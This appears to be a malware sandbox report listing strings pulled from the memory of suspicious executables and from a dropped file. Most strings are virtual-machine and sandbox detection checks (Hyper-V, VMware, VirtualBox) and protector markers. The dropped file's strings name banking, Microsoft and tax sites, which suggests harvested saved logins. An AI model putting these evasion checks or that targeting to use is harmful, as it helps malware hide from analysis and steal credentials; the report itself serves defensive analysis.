Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.000000000106C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.000000000106C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: KKEBKJJD.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: KKEBKJJD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: KKEBKJJDGH.exe, 00000008.00000002.2439124494.0000000000441000.00000040.00000001.01000000.00000009.sdmp, explortu.exe, 0000000A.00000002.3419613531.0000000000411000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000B.00000002.2486095607.0000000000411000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000F.00000002.2703298636.0000000000411000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 00000011.00000002.3310914356.0000000000411000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: KKEBKJJD.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000166B000.00000004.00000020.00020000.00000000.sdmp, explortu.exe, 0000000A.00000002.3430361490.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, explortu.exe, 0000000A.00000002.3430361490.0000000000CC2000.00000004.00000020.00020000.00000000.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D1C000.00000004.00000020.00020000.00000000.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001D4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: KKEBKJJD.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: KKEBKJJD.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 3eb62d09c2.exe, 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: KKEBKJJD.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: KKEBKJJD.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: KKEBKJJD.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: KKEBKJJD.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: KKEBKJJD.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: EZrw1nNIpG.exe, EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
